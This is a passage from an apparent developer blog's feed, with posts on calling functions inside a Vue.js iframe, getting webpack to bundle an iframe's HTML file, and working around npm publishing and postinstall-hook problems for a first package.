&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    window&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;doSomething&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;parentData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      console&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;parentData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;How does this work?&lt;/h2&gt;
&lt;p&gt;When you&#39;ll load &lt;code&gt;App.vue&lt;/code&gt;, the template will be rendered and will create the
&lt;code&gt;iframe&lt;/code&gt;, loading &lt;code&gt;iframe.html&lt;/code&gt; in turn.&lt;/p&gt;
&lt;p&gt;Because we added a &lt;code&gt;v-on:load&lt;/code&gt; event on the &lt;code&gt;iframe&lt;/code&gt;, we&#39;ll be able to know
&lt;strong&gt;when&lt;/strong&gt; the iframe will be loaded. At that point, we can read the property
&lt;code&gt;.currentTarget&lt;/code&gt; of the fired &lt;code&gt;event&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This will give us a reference to the &lt;code&gt;iframe&lt;/code&gt; HTML element. We can&#39;t do much
with the HTML element; we can&#39;t access the &lt;code&gt;window&lt;/code&gt; object that is inside of it
directly.&lt;/p&gt;
&lt;p&gt;But what we can do is reading its &lt;code&gt;name&lt;/code&gt; attribute (&lt;code&gt;myIframe&lt;/code&gt;). Then, using the
&lt;code&gt;findIframeByName&lt;/code&gt; method, we will loop over all the &lt;code&gt;window.frames&lt;/code&gt; elements
until we find the one that matches the name.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;window.frames&lt;/code&gt; contains reference to all the sub-&lt;code&gt;window&lt;/code&gt;s, so we can now start
calling any method defined in the global &lt;code&gt;window&lt;/code&gt; namespace of the child
&lt;code&gt;iframe&lt;/code&gt;. In our case, the &lt;code&gt;window.doSomething&lt;/code&gt; method.&lt;/p&gt;
&lt;h2&gt;tl;dr&lt;/h2&gt;
&lt;p&gt;The basic trick here is to wait for the iframe to load, then get hold of a
reference to its inside &lt;code&gt;window&lt;/code&gt; object, to then call any globally available
method available in it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Importing iframe with Webpack and Vue.js</title>
    <link href="https://blog.pixelastic.com/2017/09/12/importing-iframe-with-webpack-and-vue-js/"/>
    <updated>2017-09-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/09/12/importing-iframe-with-webpack-and-vue-js</id>
    <content type="html">&lt;p&gt;I&#39;ve spent hours on a webpack + Vue.js + iframe issue yesterday. As I don&#39;t want
all those hours to be completly wasted, I&#39;m going to document my issue and the
final solution.&lt;/p&gt;
&lt;h2&gt;The problem&lt;/h2&gt;
&lt;p&gt;I&#39;m working on a Vue.js application, using Webpack for building all the assets.
One of the pages need to include an iframe, loading a stand-alone
&lt;code&gt;keen-explorer.html&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;My problem was that the &lt;code&gt;keen-explorer.html&lt;/code&gt; was not included in the final build
and resulted in a 404.&lt;/p&gt;
&lt;h2&gt;Context: Why do I need to do that?&lt;/h2&gt;
&lt;p&gt;I need to instanciate a Keen.io explorer dashboard from inside my app. The
&lt;code&gt;keen-explorer&lt;/code&gt; JavaScript module cannot be &lt;code&gt;import&lt;/code&gt;ed from a script, as far as
I can tell. It needs to be loaded inside the global &lt;code&gt;window&lt;/code&gt; object, along with
its dependencies (Bootstrap and jQuery).&lt;/p&gt;
&lt;p&gt;I tried different ways to include it in my final Webpack build, but the iframe
was the best solution I could find as it will isolate all the external
dependencies from the rest of my app. Anyway, back to the problem at hand.&lt;/p&gt;
&lt;h2&gt;Naive approach and first 404&lt;/h2&gt;
&lt;p&gt;I&#39;m using &lt;code&gt;vue-loader&lt;/code&gt; to parse the content of my &lt;code&gt;.vue&lt;/code&gt; files. Here is my
template (using pug):&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-jade&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;iframe&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;html/keen-explorer.html&quot;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If I run webpack, if finishes without any error, but when loading the
application, I have a 404 as &lt;code&gt;html/keen-explorer.html&lt;/code&gt; cannot be found. Webpack
did not include it in the final build and considered the &lt;code&gt;src&lt;/code&gt; as any other
attribute with no particular meaning.&lt;/p&gt;
&lt;h2&gt;Making vue-loader require iframe sources&lt;/h2&gt;
&lt;p&gt;Turns out that &lt;code&gt;vue-loader&lt;/code&gt; does not automatically import the &lt;code&gt;iframe[src]&lt;/code&gt;
values by default. You have to update your webpack config to define what it
should parse:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  rules&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      test:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;vue&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      loader: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;vue-loader&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      options: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        transformToRequire: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;          iframe: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;src&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  ]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, if I rerun webpack, I have an error because webpack can&#39;t find
&lt;code&gt;html/keen-explorer.html&lt;/code&gt;. We&#39;re making progress, at least it tries to import
it.&lt;/p&gt;
&lt;h2&gt;Fixing the filepath issues&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;vue-loader&lt;/code&gt; seems to treat all assets in the template as relative to the final
output, while here I&#39;m trying to reference a file present in my &lt;code&gt;src/html&lt;/code&gt;
directory.&lt;/p&gt;
&lt;p&gt;First thing to do was to define a &lt;code&gt;resolve&lt;/code&gt; alias in webpack to tell it where to
look for files that starts with &lt;code&gt;html/&lt;/code&gt; using the following config:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  alias&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    html&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;__dirname&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;src&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;html&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;},&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, you should not forget to prepend your &lt;code&gt;src&lt;/code&gt; value with a &lt;code&gt;~&lt;/code&gt; in the
template, to tell &lt;code&gt;vue-loader&lt;/code&gt; that this should be resolved as an import.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-jade&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;iframe&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;~html/keen-explorer.html&quot;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rerunning webpack results in no more filepath errors. The file is found and
included in the final build.&lt;/p&gt;
&lt;p&gt;Problem is... the filepath has been replaced by the &lt;strong&gt;content&lt;/strong&gt; of the file, not
its path in the final build. That means that my &lt;code&gt;iframe&lt;/code&gt; is now trying to load
&lt;code&gt;&amp;lt;doctype&amp;gt;[...]&lt;/code&gt;, which does not work at all.&lt;/p&gt;
&lt;h2&gt;Replacing the file with its built filepath&lt;/h2&gt;
&lt;p&gt;We&#39;re approaching the end and the solution is near. The last thing missing at
that point is a way to replace the imported file by its built filepath in the
final output.&lt;/p&gt;
&lt;p&gt;Thankfully, that&#39;s what the &lt;code&gt;file-loader&lt;/code&gt; loader is for:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  rules&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      test:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      use: &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;          loader: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;file-loader&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;          options: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;            name: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;[hash].[ext]&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;          },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;      ]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  ]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;},&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Doing so I can have an &lt;code&gt;iframe&lt;/code&gt; with a &lt;code&gt;src&lt;/code&gt; set to the relative filepath to the
built html file.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It took me about 25mn to write this article, but more than 6h to hunt and debug
this issue from start to finish (not counting all the wrong leads trying to
embed the iframe in base64).&lt;/p&gt;
&lt;p&gt;To recap, if you want to load a standalone iframe from your Vue.js application
suing webpack you need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Configure &lt;code&gt;vue-loader&lt;/code&gt; so if follows &lt;code&gt;iframe[src]&lt;/code&gt; attributes&lt;/li&gt;
&lt;li&gt;Prepend &lt;code&gt;~&lt;/code&gt; to your &lt;code&gt;src&lt;/code&gt; values&lt;/li&gt;
&lt;li&gt;Configure the resolve alias so filepath can be resolved by webpack&lt;/li&gt;
&lt;li&gt;Add a &lt;code&gt;file-loader&lt;/code&gt; to process &lt;code&gt;.html&lt;/code&gt; pages&lt;/li&gt;
&lt;/ol&gt;
</content>
  </entry>
  <entry>
    <title>Publish my first npm package</title>
    <link href="https://blog.pixelastic.com/2017/09/05/publish-my-first-npm-package/"/>
    <updated>2017-09-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/09/05/publish-my-first-npm-package</id>
    <content type="html">&lt;p&gt;I published my &lt;a href=&quot;https://yarnpkg.com/en/package/tachyons-algolia&quot;&gt;first npm package&lt;/a&gt; today. It&#39;s a micro-css framework, based
on &lt;a href=&quot;http://tachyons.io/&quot;&gt;tachyons.css&lt;/a&gt;, but extended with Algolia-specific classes. What the
package actually do is not the point of this post, though.&lt;/p&gt;
&lt;p&gt;What I&#39;d like to share here are the tricks and workarounds I had to get right to
publish the final package on NPM.&lt;/p&gt;
&lt;h2&gt;Having a script ready for release&lt;/h2&gt;
&lt;p&gt;I&#39;ve reused a &lt;a href=&quot;https://github.com/algolia/algoliasearch-helper-js/blob/develop/scripts/release.js&quot;&gt;release script&lt;/a&gt; we&#39;ve been using at Algolia on one of our
JavaScript project. It already handles all the nice dance of updating the
&lt;code&gt;develop&lt;/code&gt; branch, switching to &lt;code&gt;master&lt;/code&gt;, merging, updating the version number
and publishing to &lt;code&gt;npm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I&#39;ve extended it a bit to add an actual build step, as I have to compile SCSS
files to final CSS (including a minified version).&lt;/p&gt;
&lt;h2&gt;Not using yarn, but good old npm&lt;/h2&gt;
&lt;p&gt;Main problem I had was that I could run my &lt;code&gt;./scripts/release&lt;/code&gt; script from the
command line and have everything uploaded, but if I ever did the same through
&lt;code&gt;yarn run release&lt;/code&gt;, it would fail on the actual publish phase.&lt;/p&gt;
&lt;p&gt;After some digging I found than &lt;code&gt;yarn&lt;/code&gt; cannot read the &lt;code&gt;npm&lt;/code&gt; credentials files
needed to publish. The solution is to run &lt;code&gt;npm run&lt;/code&gt; instead of &lt;code&gt;yarn run&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So I added a check at the start of my &lt;code&gt;./scripts/release&lt;/code&gt; script to stop
execution if the script is not run from the context of &lt;code&gt;npm&lt;/code&gt;. Turns out you can
do that by reading the &lt;code&gt;process.env._&lt;/code&gt; variable that contains the path to the
binary that is executing the script.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;match&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/npm&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  shell&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;This script must be run with &quot;npm run release&quot;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  shell&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;It will not correctly publish to NPM if used with yarn&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  process&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That way, I won&#39;t forget that I need to run it through &lt;code&gt;npm&lt;/code&gt; and not &lt;code&gt;yarn&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Publishing needed files&lt;/h2&gt;
&lt;p&gt;Once published, I tried to install it as a dependency in another project and
realized I was publishing unneeded files. I don&#39;t need to publish my &lt;code&gt;./script&lt;/code&gt;
repository for example.&lt;/p&gt;
&lt;p&gt;My package is also based on &lt;code&gt;tachyons&lt;/code&gt;, so I include the SCSS source file of
tachyons in my own SCSS file to build the final CSS file. But I don&#39;t want to
publish all the sources files of tachyons when you&#39;re pulling my dependencies.&lt;/p&gt;
&lt;p&gt;So I started fiddling with the &lt;code&gt;files&lt;/code&gt; key of &lt;code&gt;package.json&lt;/code&gt;. You&#39;re supposed to
put in here and array of all the filepaths (as globs) you&#39;d like to include in
your final published package. You can also define a &lt;code&gt;.npmignore&lt;/code&gt; file (with the
exact same syntax as a &lt;code&gt;.gitignore&lt;/code&gt; file) that is used to exclude some files
from being publish.&lt;/p&gt;
&lt;p&gt;The sneaky part here is that the &lt;code&gt;files&lt;/code&gt; key has precedence over the
&lt;code&gt;.npmignore&lt;/code&gt; file. And in my case I wanted to include the &lt;code&gt;./scr&lt;/code&gt; directory, but
exclude the &lt;code&gt;./src/vendors&lt;/code&gt; directory. No luck there for me.&lt;/p&gt;
&lt;p&gt;In the end I had to completly ditch the &lt;code&gt;files&lt;/code&gt; and use &lt;code&gt;.npmignore&lt;/code&gt;. So instead
of defining a list of files to include and then exclude some specific files, I
had to define a list of all the files/directories I wanted to exclude. Not as
easy, but it works and I now have the built &lt;code&gt;.css&lt;/code&gt; files as well as my source
&lt;code&gt;.scss&lt;/code&gt; files in the final package.&lt;/p&gt;
&lt;h2&gt;Fighting with the postinstall script&lt;/h2&gt;
&lt;p&gt;Now, the last bit was a bit more tricky. I use a &lt;code&gt;postinstall&lt;/code&gt; script in my
&lt;code&gt;package.json&lt;/code&gt; to automatically copy the &lt;code&gt;tachyons.scss&lt;/code&gt; source files to
&lt;code&gt;./src/vendors&lt;/code&gt; (the directory I want excluded from the previous step) from my
&lt;code&gt;node_modules&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That way I don&#39;t have to commit &lt;code&gt;tachyons.css&lt;/code&gt; files to my repo, but still have
it referenced in &lt;code&gt;package.json&lt;/code&gt;, and pinned to a specific version. It keeps my
dependencies clear, and my repo lightweight.&lt;/p&gt;
&lt;p&gt;The thing is, the &lt;code&gt;postinstall&lt;/code&gt; hook is called both when you&#39;re manually running
&lt;code&gt;yarn install&lt;/code&gt; locally, but also when your dependency is installed by someone
else. That was a big surprise for me. I could imagine that was the case at
first, for all the security implications this might cause (anyone could run an
arbitrary script as part of the &lt;code&gt;postinstall&lt;/code&gt; hook of any deep depenency you
have in your project).&lt;/p&gt;
&lt;p&gt;Still, I didn&#39;t want that to happen in my case because I actually excluded the
&lt;code&gt;./scripts/postinstall&lt;/code&gt; script from my build, so the &lt;code&gt;postinstall&lt;/code&gt; hook was
failing, and the whole installation of my package was failing.&lt;/p&gt;
&lt;p&gt;After more than 10 releases to test it, I settled on a trivial solution. At
first I tried to check if the &lt;code&gt;postinstall&lt;/code&gt; hook was triggered as part of a
local or dependency install but could not find any reliable way to test it.&lt;/p&gt;
&lt;p&gt;Instead, I checked if the &lt;code&gt;./scripts/postinstall&lt;/code&gt; file was present, and run it
if so. Because I was excluding my &lt;code&gt;./scripts&lt;/code&gt; folder from the published
packaged, the whole hook was not run when installed as a dependency.&lt;/p&gt;
&lt;p&gt;Here is the final &lt;code&gt;postinstall&lt;/code&gt; hook I used (the &lt;code&gt;true&lt;/code&gt; is needed so the hook
actually succeed for the install to complete).&lt;/p&gt;
